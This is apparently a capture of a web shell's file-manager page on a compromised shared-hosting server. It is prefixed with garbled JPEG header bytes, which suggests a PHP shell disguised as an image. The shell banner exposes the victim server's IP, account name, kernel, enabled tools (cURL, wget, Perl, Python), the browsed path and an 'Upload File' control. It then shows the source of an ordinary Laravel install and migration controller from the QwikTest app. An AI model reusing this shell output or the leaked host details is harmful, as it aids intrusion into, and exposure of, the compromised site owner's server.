����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.144.72.54 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/cbt.bofirm.com/app/Http/Controllers/ |
Upload File : |
<?php /** * File name: AppInstallController.php * Last modified: 19/07/21, 3:10 PM * Author: NearCraft - https://codecanyon.net/user/nearcraft * Copyright (c) 2021 */ namespace App\Http\Controllers; use Jackiedo\DotenvEditor\Facades\DotenvEditor; use Illuminate\Support\Facades\Artisan; class AppInstallController extends Controller { /** * Update env file, configure storage and cache after installation * * @return \Illuminate\Http\RedirectResponse */ public function onSuccessfulInstall() { $installed = file_exists(storage_path('installed')); if($installed) { $env = DotenvEditor::load(); $env->addEmpty(); $env->setKey('APP_INSTALLED', 'true'); $env->setKey('APP_VERSION', '1.4.1'); $env->setKey('SESSION_DRIVER', 'database'); $env->setKey('SESSION_LIFETIME', '43200'); $env->save(); try { Artisan::call('config:clear'); Artisan::call('cache:clear'); Artisan::call('storage:link'); } catch (\Exception $exception) {} } return redirect()->route('welcome'); } /** * Go to migration screen * * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|\Illuminate\Http\JsonResponse */ public function migrate() { if(config('qwiktest.version') == '1.4.1') { return response()->json([ 'error' => 404, 'message' => 'Nothing to migrate. App is already up to date.' ], 404); } return view('migration', [ 'success' => false, 'message' => 'If you updated the app with latest files, run migrations by clicking Migrate Now button.' ]); } /** * Force run migrations after update * * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|\Illuminate\Http\JsonResponse|\Illuminate\Http\RedirectResponse */ public function runMigrations() { $installed = file_exists(storage_path('installed')); if($installed) { if(config('qwiktest.version') == '1.4.1') { return response()->json([ 'error' => 404, 'message' => 'Nothing to migrate. App is already up to date.' ], 404); } \Illuminate\Support\Facades\Artisan::call('migrate', ['--force'=> true]); return view('migration', [ 'success' => true, 'message' => 'Migration successful. Now, login and fix updates in the maintenance settings.' ]); } return response()->json([ 'error' => 404, 'message' => 'App is not yet installed.' ], 404); } }